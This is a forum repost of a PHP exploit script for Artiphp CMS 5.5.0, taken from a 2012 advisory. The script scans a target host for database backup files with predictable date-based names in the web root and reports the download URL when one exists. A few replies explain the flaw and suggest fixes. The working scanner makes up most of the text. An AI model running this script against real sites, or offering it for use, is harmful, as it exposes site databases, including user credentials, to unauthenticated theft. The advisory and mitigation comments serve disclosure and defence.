Artiphp CMS 5.5.0 Database Backup Disclosure Exploit

Free_小东

1. <?php  
   
2. 
   
3.    
   
4. 
   
5. /*  
   
6. 
   
7.    
   
8. 
   
9. Artiphp CMS 5.5.0 Database Backup Disclosure Exploit  
   
10. 
    
11.    
    
12. 
    
13.    
    
14. 
    
15. Vendor: Artiphp  
    
16. 
    
17. Product web page: http://www.ihonker.org
    
18. Affected version: 5.5.0 Neo (r422)  
    
19. 
    
20.    
    
21. 
    
22. Summary: Artiphp is a content management system (CMS) open  
    
23. 
    
24. and free to create and manage your website.  
    
25. 
    
26.    
    
27. 
    
28. Desc: Artiphp stores database backups using backupDB() utility  
    
29. 
    
30. with a predictable file name inside the web root, which can be  
    
31. 
    
32. exploited to disclose sensitive information by downloading the  
    
33. 
    
34. file. The backup is located in '/artzone/artpublic/database/'  
    
35. 
    
36. directory as 'db_backup_[type].[yyyy-mm-dd].sql.gz' filename.  
    
37. 
    
38.    
    
39. 
    
40. Tested on: Microsoft Windows XP Professional SP3 (EN)  
    
41. 
    
42.            Apache 2.2.21  
    
43. 
    
44.            PHP 5.3.8 / 5.3.9  
    
45. 
    
46.            MySQL 5.5.20  
    
47. 
    
48.    
    
49. 
    
50.    
    
51. 
    
52. Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
    
53. 
    
54.                             @zeroscience  
    
55. 
    
56.    
    
57. 
    
58.    
    
59. 
    
60. Advisory ID: ZSL-2012-5091  
    
61. 
    
62. Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5091.php  
    
63. 
    
64.    
    
65. 
    
66.    
    
67. 
    
68. 15.05.2012  
    
69. 
    
70.    
    
71. 
    
72. */  
    
73. 
    
74.    
    
75. 
    
76. error_reporting(0);  
    
77. 
    
78.    
    
79. 
    
80. print "\no==========================================================o\n";  
    
81. 
    
82. print "|                                                          |";  
    
83. 
    
84. print "\n|\tArtiphp CMS 5.5.0 DB Backup Disclosure Exploit     |\n";  
    
85. 
    
86. print "|                                                          |\n";  
    
87. 
    
88. print "|\t\t\tby LiquidWorm                      |\n";  
    
89. 
    
90. print "|                                                          |";  
    
91. 
    
92. print "\no==========================================================o\n";  
    
93. 
    
94.    
    
95. 
    
96. if ($argc < 3)  
    
97. 
    
98. {  
    
99. 
    
100.     print "\n\n\x20[*] Usage: php $argv[0] <host> <port>\n\n\n";  
     
101. 
     
102.     die();  
     
103. 
     
104. }  
     
105. 
     
106.    
     
107. 
     
108. $godina_array = array('2012','2011','2010');  
     
109. 
     
110.    
     
111. 
     
112. $mesec_array = array('12','11','10','09',  
     
113. 
     
114.              '08','07','06','05',  
     
115. 
     
116.              '04','03','02','01');  
     
117. 
     
118.    
     
119. 
     
120. $dn_array = array('31','30','29','28','27','26',  
     
121. 
     
122.           '25','24','23','22','21','20',  
     
123. 
     
124.           '19','18','17','16','15','14',  
     
125. 
     
126.           '13','12','11','10','09','08',  
     
127. 
     
128.           '07','06','05','04','03','02',  
     
129. 
     
130.           '01');  
     
131. 
     
132.    
     
133. 
     
134. $backup_array = array('full','structure','partial');  
     
135. 
     
136.    
     
137. 
     
138. $host = $argv[1];  
     
139. 
     
140. $port = intval($argv[2]);  
     
141. 
     
142. $path = "/artiphp/artzone/artpublic/database/"; // change per need.  
     
143. 
     
144.    
     
145. 
     
146. $alert1 = "\033[0;31m";  
     
147. 
     
148. $alert2 = "\033[0;37m";  
     
149. 
     
150.    
     
151. 
     
152. foreach($godina_array as $godina)  
     
153. 
     
154. {  
     
155. 
     
156.     print "\n\n\x20[*] Checking year: ".$godina."\n\n Scanning: ";  
     
157. 
     
158.     sleep(2);  
     
159. 
     
160.     foreach($mesec_array as $mesec)  
     
161. 
     
162.     {  
     
163. 
     
164.         foreach($dn_array as $dn)  
     
165. 
     
166.         {  
     
167. 
     
168.             print "~";  
     
169. 
     
170.             foreach($backup_array as $backup)  
     
171. 
     
172.             {  
     
173. 
     
174.                 if(file_get_contents("http://".$host.":".$port.$path."db_backup_".$backup.".".$godina."-".$mesec."-".$dn.".sql.gz"))  
     
175. 
     
176.                 {  
     
177. 
     
178.                     print "\n\n\x20[!] DB backup file discovered!\n\n";  
     
179. 
     
180.                     echo $alert1;  
     
181. 
     
182.                     print "\x20==>\x20";  
     
183. 
     
184.                     echo $alert2;  
     
185. 
     
186.                     die("http://".$host.":".$port.$path."db_backup_".$backup.".".$godina."-".$mesec."-".$dn.".sql.gz\n");  
     
187. 
     
188.                 }  
     
189. 
     
190.             }  
     
191. 
     
192.         }  
     
193. 
     
194.     }  
     
195. 
     
196. }  
     
197. 
     
198.    
     
199. 
     
200. print "\n\n\x20[*] Zero findings.\n\n\n"  
     
201. 
     
202.    
     
203. 
     
204. ?>
     

复制代码

N.O

看不懂的路过

k红颜

看不懂

热心网友7

这个漏洞挺典型的，Artiphp CMS 5.5.0 把数据库备份文件放在了 web 根目录下，而且文件名只按日期变化，攻击者靠遍历日期就能直接下载备份。备份里肯定包含管理员账号密码、用户数据等敏感信息，风险很高。 如果有人在用这个版本，建议尽快升级到不受影响的新版，或者修改 backupDB() 函数的备份路径和文件名规则，不要把备份放到可公开访问的目录里，最好再加上随机字符串或者访问权限验证。另外也可以考虑在服务器层面禁止直接访问 /artzone/artpublic/database/ 路径下的 .sql.gz 文件。

热心网友7

谢谢分享，这个漏洞确实挺危险的。备份文件放在 web 根目录下，文件名还按日期规律生成，攻击者直接遍历就能下载数据库，等于把整个站点的数据拱手让人。建议使用这个 CMS 的用户尽快检查一下 `/artzone/artpublic/database/` 目录下是否有历史备份，同时升级到最新版本或者把备份目录移到 web 访问不到的路径下，并配合 `.htaccess` 限制访问。楼主有尝试复现成功吗？

热心网友6

这是一个比较经典的CMS数据库备份泄露漏洞。Artiphp CMS 5.5.0版本在使用`backupDB()`备份数据库时，将备份文件直接存放在web根目录下，且文件名遵循固定的日期格式`db_backup_.[yyyy-mm-dd].sql.gz`，攻击者可以通过遍历日期组合轻易下载到数据库文件，导致敏感信息泄露。 这个漏洞的危害性在于不需要认证即可下载完整数据库，包括用户密码、配置信息等敏感数据。建议使用该CMS的站长尽快检查`/artzone/artpublic/database/`目录下是否存在此类备份文件，并考虑删除或将其移至web访问目录之外。同时也可以关注官方是否有新版本修复该问题。